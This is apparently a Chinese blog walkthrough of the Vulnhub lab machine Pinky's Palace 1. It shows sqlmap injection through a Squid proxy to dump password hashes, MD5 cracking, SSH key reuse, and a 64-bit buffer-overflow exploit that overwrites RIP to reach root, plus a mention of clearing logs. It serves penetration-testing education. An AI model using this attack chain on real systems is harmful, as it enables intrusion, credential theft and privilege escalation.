【甄选靶场】Vulnhub百个项目渗透——项目二十六:Pinky‘s-Palace-1(代理访问,缓冲区溢出)

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目二十六:Pinky’s-Palace-1(代理访问,缓冲区溢出)

靶场地址


系列专栏:Vulnhub百个项目渗透
欢迎关注点赞收藏⭐️留言
首发时间:2022年9月28日
作者水平很有限,如果发现错误,还望告知,感谢!

巅峰之路

  • Vulnhub百个项目渗透
  • 前言
  • 梳理流程
  • web突破
    • 通过代理访问
      • bp设置代理
      • sqlmap
    • SSH登录
    • 提权
      • 再次信息收集
        • 判断函数
      • 64位缓冲区溢出利用(spawn)
        • 找溢出点
        • 验证是否覆盖
        • 查找跳板函数
        • 模糊测试spanwn是否能提权
        • 查看spawn到达的地址rbp
        • exp执行


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

web突破

【甄选靶场】Vulnhub百个项目渗透——项目二十六:Pinky‘s-Palace-1(代理访问,缓冲区溢出)_第1张图片

发现了ssh以及8080的web还有一个31337的代理服务
这个squid在之前的项目中提到过,代理某个端口,使得不能外网访问,而要必须走这个31337的端口。那么大致确定一下方向:通过代理端口访问web页面,再进行信息收集,通过发现的东西获取ssh的登录,然后进了ssh做提权操作

通过代理访问

【甄选靶场】Vulnhub百个项目渗透——项目二十六:Pinky‘s-Palace-1(代理访问,缓冲区溢出)_第2张图片
通过这个插件,挂一个代理到31337
然后访问

【甄选靶场】Vulnhub百个项目渗透——项目二十六:Pinky‘s-Palace-1(代理访问,缓冲区溢出)_第3张图片

发现是一个登录框,这时候的思路就是

  1. 爆破
  2. 弱口令
  3. 弱验证绕过
  4. sql注入
  5. 对登录的弱验证

经过测试,弱口令无效,手工了一些弱验证无效,不知道用户名,url也没有异常,登录失败的提示是“Incorrect Username or Password”,也无法分类爆破。那就只能sql注入了基本上,做登陆的sql注入使用的方法是:bp抓包而后整体跑sqlmap

bp设置代理

【甄选靶场】Vulnhub百个项目渗透——项目二十六:Pinky‘s-Palace-1(代理访问,缓冲区溢出)_第4张图片

就这么设置即可,然后浏览器挂bp的代理,抓到包以后右键保存到本地(copy to file)

sqlmap

--proxy:走代理
--dump:导出列里面的字段

sqlmap --proxy="http://192.168.56.105:31337" -r bp.txt --level 3 --batch
payload存在!

sqlmap --proxy="http://192.168.4.175:31337" -r 1.txt --level 3 --dbs
[*] information_schema
[*] pinky_sec_db

sqlmap --proxy="http://192.168.4.175:31337" -r 1.txt --level 3 -D pinky_sec_db --tables
+-------+
| logs  |
| users |
+-------+

sqlmap --proxy="http://192.168.56.105:31337" -r bp.txt --level 3 --batch -D pinky_sec_db -T users -C user,pass --dump

+-------------+----------------------------------+
| user        | pass                             |
+-------------+----------------------------------+
| pinkymanage | d60dffed7cc0d87e1f4a11aa06ca73af |
| pinky       | f543dbfeaf238729831a321c7a68bee4 |
+-------------+----------------------------------+

这应该就是账号密码
数据库中的密码一般都是md5

三种解密md5的方法:

  1. https://www.somd5.com/ —在线解密
  2. john --format=raw-md5 --show hash.txt
  3. hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af/usr/share/wordlists/rockyou.txt
    d60dffed7cc0d87e1f4a11aa06ca73af:3pinkysaf33pinkysaf3

pinkymanage 3pinkysaf33pinkysaf3
另外一个解密不出来

SSH登录

ssh pinkymanage@192.168.4.175 -p64666
然后开始内网提权的信息收集准备
但是三个脚本都跑完了都没啥东西,内核漏洞都试了都不行
sudo -l也没有特殊的
信息收集结果大概如下:
pinkymanage:x:1001:1001:pinkymanage,,,:/home/pinkymanage:/bin/bash
pinky:x:1000:1000:pinky,,,:/home/pinky:/bin/bash
uid=1000(pinky) gid=1000(pinky) groups=1000(pinky),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
5)_ grep note.txt  ---存在文本信息
find / -name note.txt 2>/dev/null   --找到这个文件

提权

打开发现:

Hmm just in case I get locked out of my server I put this rsa key
here… Nobody will find it heh.

ls -la 
发现了一个
cat .ultrasecret  ---打开看看
是一个base64编码,因为最后有=
解码得到一个密钥
vi haha -----打开一个haha,然后把密钥粘贴进去
chmod +600 haha
ssh -i haha pinky@192.168.56.105 -p 64666
用这个密钥去登陆另外一个pinky的用户

【甄选靶场】Vulnhub百个项目渗透——项目二十六:Pinky‘s-Palace-1(代理访问,缓冲区溢出)_第5张图片

再次信息收集

ls
发现了一个冒红的文件
file adminhelper   --64位二进制文件


猜测是缓冲区溢出,先看看ASLR随机化开启了没
cat /proc/sys/kernel/randomize_va_space

开个服务传到本地分析一下
python SimpleHTTPServer 8888
本地kali下载下来
md5sum adminhelper    --两边都校验一下md5,确保文件不出错

手里拿到可执行文件啥也不说了先判断一下缓冲区溢出吧。

  1. 看看会不会爆分段错误
  2. 看看是否有可造成溢出的函数

./adminhelper $(python -c "print 'A'*100") 判断能不能溢出

判断函数

strings adminhelper
或
disas main   ---查看main函数
或
gdb adminhelper
info functions

info functions :列出可执行文件的所有函数名称,在内存中的symbol table查找,
结果中的地址是内存里的地址,所以得到结果后,直接b(break,添加断点)这个地址,
即可正确加断点。

jump:当调试程序时,你可能不小心走过了出错的地方,可jump回去

break : 给程序设置断点

i b : 查看断点

delect编号 : 删除断点

disas $pc:反汇编当前函数

spawn()   ---生成一个shell,(按照文件权限)

发现不仅有stycpy还有spawn,并且不是我们熟知的esp而是rsp

sp 是esp的低16位,esp是rsp的低32位。
有时候在介绍东西的时候,如果知识对32位,64位之类都适用,我会统一把堆栈寄存器称为sp。 ss属于16位遗产,堆栈段寄存器。

64位缓冲区溢出利用(spawn)

  1. 传生成字符并得到溢出点
  2. 得到spawn地址(也就是让spwan地址直接覆盖掉RIP就行)

找溢出点

生成
gdb ./adminhelper
pattern_create 100 buf
r $(cat buf)    ---0000| 0x7fffffffde98 ("IAAeAA4A")
验证
pattern_offset "IAAeAA4AAJAAfAA5AAKAAgAA6AAL"  (search模块也行)
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72

验证是否覆盖

run $(python -c "print 'A'*72 + 'B'*6")
info r

rbp            0x4141414141414141
rip            0x424242424242
rsp            0x7fffffffe550

可以看到RBP,RIP都被覆盖

【甄选靶场】Vulnhub百个项目渗透——项目二十六:Pinky‘s-Palace-1(代理访问,缓冲区溢出)_第6张图片

查找跳板函数

info functions    ---gdb进入调试程序后,查看函数
0x00000000000007d0  spawn    但是这里的不是真正的地址,因为还没有填充数据,属于还没有溢出的环境

模糊测试spanwn是否能提权

gdb调试程序->main下断点->执行后jump回spawn函数->最终判断

gdb adminhelper
(gdb) break main    ----下断点main处
Breakpoint 1 at 0x817
(gdb) run    ----运行
Starting program: /home/pinky/adminhelper 

Breakpoint 1, 0x0000555555554817 in main ()
(gdb) jump spawn     ----查看寄存器
Continuing at 0x5555555547d4.

【甄选靶场】Vulnhub百个项目渗透——项目二十六:Pinky‘s-Palace-1(代理访问,缓冲区溢出)_第7张图片可以看到拿到了一个shell,说明可以利用

查看spawn到达的地址rbp

run $(python -c "print 'A'*72 + 'B'*6")
disas spawn
在第一个压栈(push)的数据可以看到下面的地址
0x00005555555547d0 <+0>:	push   %rbp

看到目标内存地址是0x00005555555547d0,创建shell需要注入到5555555547d0,以避免在shellcode中有空字节,在shellcode中,字节顺序相反,所以:
\xd0\x47\x55\x55\x55\x55

这是地址前面的0000被去掉了的原因
【甄选靶场】Vulnhub百个项目渗透——项目二十六:Pinky‘s-Palace-1(代理访问,缓冲区溢出)_第8张图片

exp执行

./adminhelper $(python2 -c “print ‘A’*72+‘\xd0\x47\x55\x55\x55\x55’”)
成功获得root权限!

你可能感兴趣的:(vulnhub百个项目渗透,安全,java,开发语言,网络安全,vulnhub)